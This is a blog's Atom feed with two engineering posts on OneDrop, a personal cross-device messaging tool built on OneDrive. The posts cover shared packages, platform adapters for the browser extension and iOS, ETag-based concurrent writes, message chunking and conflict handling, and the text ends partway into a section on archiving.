<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <id>https://www.sycamore.top/en/</id>
    <title>Z1gg7x&#39;s Blog (English)</title>
    <subtitle>Following ideas, leaving traces.</subtitle>
    <icon>https://www.sycamore.top/assets/favicon.ico</icon>
    <link href="https://www.sycamore.top/en/" />
    <author>
      <name>Z1gg7x</name>
    </author>
    <updated>2026-10-21T12:34:27.000Z</updated>
    <category term="CTF" />
    <category term=" Electron" />
    <category term=" Cyberpunk2077" />
    <entry>
        <id>https://www.sycamore.top/en/software-development/app-development/how-onedrop-adapts-to-each-platform/</id>
        <title>How OneDrop Adapts to Each Platform</title>
        <link rel="alternate" href="https://www.sycamore.top/en/software-development/app-development/how-onedrop-adapts-to-each-platform/"/>
        <content type="html">&lt;p&gt;&lt;a href=&#34;/en/software-development/app-development/onedrop-storage-and-multi-device-sync-part-one/&#34;&gt;Part one&lt;/a&gt; and &lt;a href=&#34;/en/software-development/app-development/onedrop-storage-and-multi-device-sync-part-two/&#34;&gt;part two&lt;/a&gt; cover how &lt;a href=&#34;https://github.com/zixu0779/OneDrop&#34;&gt;OneDrop&lt;/a&gt; stores and syncs messages. This post looks at what the browser extension and native iOS app share, and where they need different implementations. I’m still referring to &lt;a href=&#34;https://github.com/zixu0779/OneDrop/releases/tag/v1.0.3&#34;&gt;version 1.0.3&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;span id=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;span id=&#34;共享代码的组织&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;sharing-the-message-model&#34; data-section=&#34;共享代码的组织&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#sharing-the-message-model&#34;&gt;#&lt;/a&gt; Sharing the message model&lt;/h2&gt;
&lt;p&gt;All the entry points work with the same message model. If each platform implemented merging, deletion tombstones and archiving separately, an edge case would need fixing in several places. Two devices could even interpret the same cloud data differently. OneDrop puts those rules in shared packages and lets each app assemble the pieces it needs.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Directory&lt;/th&gt;
&lt;th&gt;Responsibility&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;packages/core&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Message, month and settings types; runtime request protocol&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;packages/onedrive&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Graph requests, message chunks, archives, tombstones and attachments&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;packages/web-storage&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;IndexedDB cache, pending sends and download records&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;packages/platform&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Platform bridge interfaces and runtime dependencies&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;packages/app-runtime&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Authorisation, device, settings and download services&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;packages/extension-runtime&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Dispatching background requests and handling extension entry points&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;packages/ui&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Shared React UI and interaction state&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;apps/edge&lt;/code&gt; ,  &lt;code&gt;apps/ios&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Platform-specific assembly and native adapters&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The core types don’t need to know about React components, browser download objects or Swift plugins. The UI sends a typed  &lt;code&gt;RuntimeRequest&lt;/code&gt;  and receives a  &lt;code&gt;RuntimeResponse&lt;/code&gt; . In the extension the request travels over  &lt;code&gt;browser.runtime.sendMessage&lt;/code&gt; . A component can ask to send text, read a month or restore a message without assembling a Graph URL or an Authorization header.&lt;/p&gt;
&lt;span id=&#34;平台能力与适配&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;platform-capabilities&#34; data-section=&#34;平台能力与适配&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#platform-capabilities&#34;&gt;#&lt;/a&gt; Platform capabilities&lt;/h2&gt;
&lt;p&gt;The same page behaves differently depending on its host. Desktop browsers have a download directory and a “Show in folder” command; mobile devices tend to use the system share sheet. Even browser extension entry points differ in which APIs they expose.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;PlatformBridge&lt;/code&gt;  connects UI requests such as “save this file” to the platform implementation.  &lt;code&gt;PlatformCapabilities&lt;/code&gt;  declares the available operations:&lt;/p&gt;
&lt;figure class=&#34;highlight typescript&#34;&gt;&lt;figcaption data-lang=&#34;typescript&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token keyword&#34;&gt;export&lt;/span&gt; &lt;span class=&#34;token keyword&#34;&gt;type&lt;/span&gt; &lt;span class=&#34;token class-name&#34;&gt;PlatformCapabilities&lt;/span&gt; &lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;token punctuation&#34;&gt;&amp;#123;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  showInFolder&lt;span class=&#34;token operator&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;token builtin&#34;&gt;boolean&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt;       &lt;span class=&#34;token comment&#34;&gt;// Reveal a file in its system folder&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;3&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  saveAs&lt;span class=&#34;token operator&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;token builtin&#34;&gt;boolean&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt;             &lt;span class=&#34;token comment&#34;&gt;// Save As&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;4&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  navigationDownload&lt;span class=&#34;token operator&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;token builtin&#34;&gt;boolean&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;token comment&#34;&gt;// Download by opening the download URL&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;5&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  systemFileShare&lt;span class=&#34;token operator&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;token builtin&#34;&gt;boolean&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt;    &lt;span class=&#34;token comment&#34;&gt;// Use the system file share sheet&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;6&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token punctuation&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;Alongside  &lt;code&gt;request()&lt;/code&gt; , the bridge can look up and open downloads, prepare attachments, share files, and copy text or images. The UI offers actions according to those capabilities. On iOS Edge there’s no desktop download manager entry point, but system file sharing is available. The bridge retrieves the attachment, checks that the cached name, size and Blob agree, then prepares a shareable  &lt;code&gt;File&lt;/code&gt; .&lt;/p&gt;
&lt;p&gt;Without a usable cache entry, the bridge reads the response stream and accumulates the number of bytes received so the UI can display progress. It gets the total from  &lt;code&gt;Content-Length&lt;/code&gt;  when available and otherwise uses the attachment size in the message. Once the stream ends, it checks the Blob size, caches the attachment in IndexedDB and constructs the  &lt;code&gt;File&lt;/code&gt; . It also checks  &lt;code&gt;navigator.canShare&lt;/code&gt;  before invoking system sharing. Preparing the file and opening the share sheet are separate steps.&lt;/p&gt;
&lt;p&gt;That’s why the same attachment button can have a different final action. The message and DriveItem mean the same thing across platforms; the way the system receives the file differs. I don’t need to emulate a desktop API on every platform just to make the button look the same.&lt;/p&gt;
&lt;span id=&#34;浏览器扩展入口&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;browser-extension-entry-points&#34; data-section=&#34;浏览器扩展入口&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#browser-extension-entry-points&#34;&gt;#&lt;/a&gt; Browser extension entry points&lt;/h2&gt;
&lt;p&gt;The extension uses WXT for development and builds, React for the UI, TypeScript for application logic and Manifest V3 for the extension. Desktop, Android and iOS share the extension code. Desktop opens a side panel, Android opens a separate mobile page and iOS uses an entry point suited to its extension environment. The app layer selects the entry point and bridge, so the shared UI doesn’t need a separate copy of every page.&lt;/p&gt;
&lt;p&gt;There’s also a compatibility path for iOS Edge. Even if the browser opens the statically declared side-panel page, the app detects the platform and loads the iOS UI and bridge. The runtime and bridge handle differences such as the missing Identity API during login and the need to share downloads through the system. Shipping one extension package doesn’t make mobile APIs behave like their desktop counterparts.&lt;/p&gt;
&lt;span id=&#34;原生-ios-适配&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;native-ios&#34; data-section=&#34;原生-ios-适配&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#native-ios&#34;&gt;#&lt;/a&gt; Native iOS&lt;/h2&gt;
&lt;p&gt;The native app uses Capacitor to host the shared React UI in a WebView, a browser view embedded in the app. Native plugins provide access to system features. For login, the  &lt;code&gt;OneDropAuth&lt;/code&gt;  Swift plugin opens the authorisation flow with  &lt;code&gt;ASWebAuthenticationSession&lt;/code&gt;  and stores and retrieves tokens through Keychain. The browser extension described in part one uses  &lt;code&gt;browser.storage.local&lt;/code&gt; ; on native iOS both the authorisation window and credential storage belong to the plugin.&lt;/p&gt;
&lt;p&gt;The shared OneDrive code needs an access token, local state and a way to send events. The app supplies those functions at startup. That’s what dependency injection means here: the business logic calls the supplied functions without repeatedly checking which platform it’s on. The iOS entry point wires up native implementations and forwards message requests to the same shared functions. The native download plugin saves, locates and opens files while the UI continues to work with the same attachment metadata.&lt;/p&gt;
&lt;p&gt;Device settings follow the same division. Each installation generates an anonymous UUID and stores its platform, display name and preferences in  &lt;code&gt;settings/devices/&amp;lt;device-id&amp;gt;.json&lt;/code&gt; . Removing a device from the list removes its settings document. Messages and attachments from that device have a separate lifecycle, described in &lt;a href=&#34;/en/software-development/app-development/onedrop-storage-and-multi-device-sync-part-two/&#34;&gt;part two’s deletion and cleanup flow&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For me, OneDrop is still a little tool for passing things between my devices. Once OneDrive took over storage, the recurring questions were about state: when a send counts as complete, what another device sees, what can resume after a failure and what survives deletion. Keeping those rules shared and leaving login, downloads and entry points to each platform gives me a clear place to make the next change.&lt;/p&gt;
</content>
        <updated>2026-10-21T12:34:27.000Z</updated>
    </entry>
    <entry>
        <id>https://www.sycamore.top/en/software-development/app-development/onedrop-storage-and-multi-device-sync-part-two/</id>
        <title>OneDrop Storage and Multi-Device Sync (Part Two)</title>
        <link rel="alternate" href="https://www.sycamore.top/en/software-development/app-development/onedrop-storage-and-multi-device-sync-part-two/"/>
        <content type="html">&lt;p&gt;&lt;a href=&#34;/en/software-development/app-development/onedrop-storage-and-multi-device-sync-part-one/&#34;&gt;Part one&lt;/a&gt; covered authorisation, the storage layout and file transfers. What happens after a message has been saved? This part follows it through concurrent edits, history, deletion and recovery. The implementation described here is still &lt;a href=&#34;https://github.com/zixu0779/OneDrop/releases/tag/v1.0.3&#34;&gt;OneDrop 1.0.3&lt;/a&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;span id=&#34;多设备同步-冲突与归档&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;synchronisation-conflicts-and-archives&#34; data-section=&#34;多设备同步-冲突与归档&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#synchronisation-conflicts-and-archives&#34;&gt;#&lt;/a&gt; Synchronisation, conflicts and archives&lt;/h2&gt;
&lt;span id=&#34;消息同步与缓存&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;reading-messages-and-using-the-cache&#34; data-section=&#34;消息同步与缓存&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#reading-messages-and-using-the-cache&#34;&gt;#&lt;/a&gt; Reading messages and using the cache&lt;/h3&gt;
&lt;span id=&#34;触发同步的时机&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h4 id=&#34;when-a-client-syncs&#34; data-section=&#34;触发同步的时机&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#when-a-client-syncs&#34;&gt;#&lt;/a&gt; When a client syncs&lt;/h4&gt;
&lt;p&gt;Clients pull changes when the interface opens, comes to the foreground, refreshes manually or needs to read data as part of sending. There’s no server of mine continually pushing updates. Once the browser closes, you can’t treat it as an always-online messenger.&lt;/p&gt;
&lt;p&gt;On returning to the foreground, the UI checks the time since the previous sync. This avoids rereading the month every time you switch windows. Normal mode checks after 30 seconds, Reduced mode after five minutes. Manual mode doesn’t trigger a sync from this foreground check.&lt;/p&gt;
&lt;span id=&#34;按月份读取与复用缓存&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h4 id=&#34;reading-a-month-and-reusing-cached-chunks&#34; data-section=&#34;按月份读取与复用缓存&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#reading-a-month-and-reusing-cached-chunks&#34;&gt;#&lt;/a&gt; Reading a month and reusing cached chunks&lt;/h4&gt;
&lt;p&gt;The client lists files under  &lt;code&gt;messages/YYYY-MM&lt;/code&gt; , requests 200 items per page, follows  &lt;code&gt;@odata.nextLink&lt;/code&gt;  and reads the chunks in numerical order. The 200-item limit applies to a single listing request. It doesn’t limit the number of messages or chunks in the month. A missing monthly directory is a valid empty state; a failed request is an error. Pagination URLs are checked against the expected Graph API scope.&lt;/p&gt;
&lt;p&gt;The cache stores more than the merged list. For each chunk it retains the  &lt;code&gt;DriveItem&lt;/code&gt;  ID, ETag, parsed document and message line numbers. An ETag identifies the version returned by the server. If the version matches and line information is present, the cached document can be reused. Changed chunks are downloaded and parsed, up to three at once. A growing history doesn’t mean downloading every JSON body on every refresh. In the code below, a matching version and complete line information let OneDrop reuse the local record. Otherwise it calls  &lt;code&gt;downloadDocument()&lt;/code&gt; .&lt;/p&gt;
&lt;figure class=&#34;highlight typescript&#34;&gt;&lt;figcaption data-lang=&#34;typescript&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token keyword&#34;&gt;const&lt;/span&gt; downloaded &lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  cached&lt;span class=&#34;token operator&#34;&gt;?.&lt;/span&gt;eTag &lt;span class=&#34;token operator&#34;&gt;===&lt;/span&gt; item&lt;span class=&#34;token punctuation&#34;&gt;.&lt;/span&gt;eTag &lt;span class=&#34;token operator&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; cached&lt;span class=&#34;token punctuation&#34;&gt;.&lt;/span&gt;messageLines&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;3&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;    &lt;span class=&#34;token operator&#34;&gt;?&lt;/span&gt; &lt;span class=&#34;token punctuation&#34;&gt;&amp;#123;&lt;/span&gt; document&lt;span class=&#34;token operator&#34;&gt;:&lt;/span&gt; cached&lt;span class=&#34;token punctuation&#34;&gt;.&lt;/span&gt;document&lt;span class=&#34;token punctuation&#34;&gt;,&lt;/span&gt; messageLines&lt;span class=&#34;token operator&#34;&gt;:&lt;/span&gt; cached&lt;span class=&#34;token punctuation&#34;&gt;.&lt;/span&gt;messageLines &lt;span class=&#34;token punctuation&#34;&gt;&amp;#125;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;4&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;    &lt;span class=&#34;token operator&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;token keyword&#34;&gt;await&lt;/span&gt; &lt;span class=&#34;token function&#34;&gt;downloadDocument&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;item&lt;span class=&#34;token punctuation&#34;&gt;.&lt;/span&gt;id&lt;span class=&#34;token punctuation&#34;&gt;,&lt;/span&gt; month&lt;span class=&#34;token punctuation&#34;&gt;,&lt;/span&gt; accessToken&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;After parsing, OneDrop merges by ID, sorts by  &lt;code&gt;createdAt&lt;/code&gt;  and ID, and applies deletion markers from  &lt;code&gt;tombstones&lt;/code&gt; . Identical records with the same ID collapse to one. Different contents for a single ID produce a conflict record with source files and line numbers so the choice can be resolved later.&lt;/p&gt;
&lt;span id=&#34;跟进上传状态&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h4 id=&#34;following-an-upload-in-progress&#34; data-section=&#34;跟进上传状态&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#following-an-upload-in-progress&#34;&gt;#&lt;/a&gt; Following an upload in progress&lt;/h4&gt;
&lt;p&gt;Part one introduced the  &lt;code&gt;file-uploading&lt;/code&gt;  placeholder. Other devices can see it before the attachment finishes. To pick up the final file message promptly, the visible, signed-in UI polls after waits of 2, 5, 8 and 10 seconds, then continues at 10-second intervals. Once the accumulated waits reach 120 seconds it ends the round and marks outstanding placeholders unresponsive. That total counts time spent waiting between requests, excluding the requests themselves.&lt;/p&gt;
&lt;p&gt;If the attachment is already stored and the local record is  &lt;code&gt;committing&lt;/code&gt; , the client retries the final message on the same schedule, stopping at the round limit. An  &lt;code&gt;online&lt;/code&gt;  event attempts those commits again and cleans up placeholders left by failed uploads. This work resumes from local state when the client is running or connectivity returns.&lt;/p&gt;
&lt;span id=&#34;加载历史消息&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h4 id=&#34;loading-earlier-messages&#34; data-section=&#34;加载历史消息&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#loading-earlier-messages&#34;&gt;#&lt;/a&gt; Loading earlier messages&lt;/h4&gt;
&lt;p&gt;Scrolling back expands more batches within the loaded months and fetches one earlier UTC month. Each read carries a request version and a local write version; the client checks both before applying the response so a stale read can’t overwrite a newer local action. It also remembers a visible message as a scroll anchor. When older items arrive above it, the message you were reading stays in view.&lt;/p&gt;
&lt;span id=&#34;etag-与并发写入&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;etags-and-concurrent-writes&#34; data-section=&#34;etag-与并发写入&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#etags-and-concurrent-writes&#34;&gt;#&lt;/a&gt; ETags and concurrent writes&lt;/h3&gt;
&lt;p&gt;Reads can merge several chunks, but a write has to protect each chunk against concurrent changes. Suppose A and B both read version  &lt;code&gt;v1&lt;/code&gt; . A adds a message and writes successfully. If B now writes back a full JSON document built from its old copy, it can erase A’s message.&lt;/p&gt;
&lt;span id=&#34;检查版本并重试写入&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h4 id=&#34;check-the-version-and-retry&#34; data-section=&#34;检查版本并重试写入&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#check-the-version-and-retry&#34;&gt;#&lt;/a&gt; Check the version and retry&lt;/h4&gt;
&lt;p&gt;When updating an existing chunk, OneDrop sends the ETag it read in  &lt;code&gt;If-Match&lt;/code&gt; . The server accepts the write only if the version still matches. After A’s update, B’s condition no longer holds.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1793212425/Typora/2026/10/29/onedrop-tech-conflict.png&#34; alt=&#34;Two devices detect a stale write and merge again&#34; /&gt;&lt;/p&gt;
&lt;p&gt;A changed file can produce  &lt;code&gt;412 Precondition Failed&lt;/code&gt; ; competing object creation can produce  &lt;code&gt;409 Conflict&lt;/code&gt; . For these responses OneDrop invalidates the cache and retries from the cloud:&lt;/p&gt;
&lt;figure class=&#34;highlight typescript&#34;&gt;&lt;figcaption data-lang=&#34;typescript&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token keyword&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;response&lt;span class=&#34;token punctuation&#34;&gt;.&lt;/span&gt;status &lt;span class=&#34;token operator&#34;&gt;===&lt;/span&gt; &lt;span class=&#34;token number&#34;&gt;409&lt;/span&gt; &lt;span class=&#34;token operator&#34;&gt;||&lt;/span&gt; response&lt;span class=&#34;token punctuation&#34;&gt;.&lt;/span&gt;status &lt;span class=&#34;token operator&#34;&gt;===&lt;/span&gt; &lt;span class=&#34;token number&#34;&gt;412&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;token punctuation&#34;&gt;&amp;#123;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  &lt;span class=&#34;token keyword&#34;&gt;await&lt;/span&gt; &lt;span class=&#34;token function&#34;&gt;deleteMonthCache&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;month&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;3&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  snapshot &lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;token keyword&#34;&gt;undefined&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;4&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  &lt;span class=&#34;token keyword&#34;&gt;continue&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;5&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token punctuation&#34;&gt;&amp;#125;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;The next iteration reads a fresh snapshot, merges by message ID and decides where to write. If the ID is already present it returns the existing result, avoiding a duplicate append on a retried send. After five unsuccessful rounds it reports the conflict so the caller can retain the failure state.&lt;/p&gt;
&lt;p&gt;A new chunk has no previous ETag, so OneDrop asks Graph to fail if the name already exists. If two devices both try to create  &lt;code&gt;0002.json&lt;/code&gt; , one succeeds. The other rereads the month before deciding where to write.&lt;/p&gt;
&lt;p&gt;If a directory has been deleted and Graph returns 404, OneDrop clears the corresponding cache and tries to locate the directory again.&lt;/p&gt;
&lt;span id=&#34;网络异常与本地写入顺序&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h4 id=&#34;network-failures-and-local-write-ordering&#34; data-section=&#34;网络异常与本地写入顺序&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#network-failures-and-local-write-ordering&#34;&gt;#&lt;/a&gt; Network failures and local write ordering&lt;/h4&gt;
&lt;p&gt;A network error has different semantics. The server may have committed the request even if the client never received its response. The write function invalidates the cache and reports the error without automatically replaying the write. A subsequent sync or explicit retry can inspect the message ID to determine what happened.&lt;/p&gt;
&lt;p&gt;Within one runtime, a  &lt;code&gt;Promise&lt;/code&gt;  queue serialises modifications to monthly messages. Operations across devices still depend on server-side conditional writes. Keeping the queue at the message-write layer also means a large attachment needn’t block text messages for the entire duration of its upload.&lt;/p&gt;
&lt;span id=&#34;消息分块与异常处理&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;chunking-and-damaged-records&#34; data-section=&#34;消息分块与异常处理&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#chunking-and-damaged-records&#34;&gt;#&lt;/a&gt; Chunking and damaged records&lt;/h3&gt;
&lt;span id=&#34;分块大小与追加位置&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h4 id=&#34;choosing-a-chunk&#34; data-section=&#34;分块大小与追加位置&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#choosing-a-chunk&#34;&gt;#&lt;/a&gt; Choosing a chunk&lt;/h4&gt;
&lt;p&gt;A single ever-growing monthly JSON file would make every append more expensive. OneDrop tries the last active chunk first. If the proposed append exceeds the 256 KiB soft limit, it starts a new chunk. The final document has a separate 320 KB hard limit, and chunk numbers stop at 9999. Exceeding those limits is an error; reaching the numbering limit seems unlikely for message metadata alone.&lt;/p&gt;
&lt;p&gt;The soft limit decides when to roll over. The hard limit applies to every final chunk, including a new one or an existing one after a placeholder is replaced. Older chunks remain readable. Committing a file message requires finding the chunk that contains its placeholder, regardless of which chunk is now last.&lt;/p&gt;
&lt;p&gt;The code first merges the message into the last chunk to measure the result. If it exceeds the soft limit, OneDrop starts a new chunk and checks its size against the hard limit before writing.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1793289728/Typora/2026/10/29/onedrop-tech-message-chunk-selection.png&#34; alt=&#34;Choosing the append target and checking the final size&#34; /&gt;&lt;/p&gt;
&lt;span id=&#34;损坏记录与内容冲突&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h4 id=&#34;corruption-and-conflicting-contents&#34; data-section=&#34;损坏记录与内容冲突&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#corruption-and-conflicting-contents&#34;&gt;#&lt;/a&gt; Corruption and conflicting contents&lt;/h4&gt;
&lt;p&gt;A read can collect malformed JSON and conflicting records while still displaying the readable remainder. A strict read aborts. Treating invalid JSON as an empty list would lose the distinction between damaged and genuinely empty data.&lt;/p&gt;
&lt;p&gt;An ordinary append can proceed while leaving a damaged file untouched. The next chunk number accounts for damaged chunks so their paths won’t be reused. After rereading the remote month, a known conflict for the target message ID blocks the write. The cached fast path means there isn’t a complete remote conflict scan before every write. Archiving is stricter: any damaged source file or conflicting message blocks consolidation.&lt;/p&gt;
&lt;p&gt;When two versions have the same ID, silently keeping the last one read could discard the other version. Instead, the user chooses which source to retain.  &lt;code&gt;resolveMessageConflict()&lt;/code&gt;  removes the record from the other source chunks with ETag checks. If another device edits a source in the meantime, the user must recheck it before the earlier decision can be applied.&lt;/p&gt;
&lt;span id=&#34;历史消息归档&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;archiving-history&#34; data-section=&#34;历史消息归档&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#archiving-history&#34;&gt;#&lt;/a&gt; Archiving history&lt;/h3&gt;
&lt;span id=&#34;生成归档与校验内容&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h4 id=&#34;building-and-verifying-the-archive&#34; data-section=&#34;生成归档与校验内容&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#building-and-verifying-the-archive&#34;&gt;#&lt;/a&gt; Building and verifying the archive&lt;/h4&gt;
